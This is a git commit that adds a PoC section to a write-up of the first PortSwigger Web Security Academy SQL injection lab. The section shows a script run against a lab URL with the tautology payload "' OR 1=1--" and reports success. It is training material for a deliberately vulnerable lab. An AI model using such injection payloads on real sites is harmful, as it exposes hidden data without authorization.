twseptian · twseptian · commit 520ccbc9b4dc · 2022-04-23T22:40:01.000+07:00
edit port swigger sqli description
diff --git a/port_swigger_academy/sqli/sqli_lab_01.md b/port_swigger_academy/sqli/sqli_lab_01.md
@@ -34,4 +34,14 @@ This results in the SQL query:
 
 `SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1`
 
-The modified query will return all items where either the category is Gifts, or 1 is equal to 1. Since `1=1` is always true, the query will return all items.
+The modified query will return all items where either the category is Gifts, or 1 is equal to 1. Since `1=1` is always true, the query will return all items.
+
+## PoC
+```bash
+$ python3 sqli_lab_01.py https://ac621f871fxxxxxxx.web-security-academy.net "' OR 1=1--"
+
+    >> Port Swigger - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
+    >> by twseptian
+
+[✓] SQL Injection successful!
+```
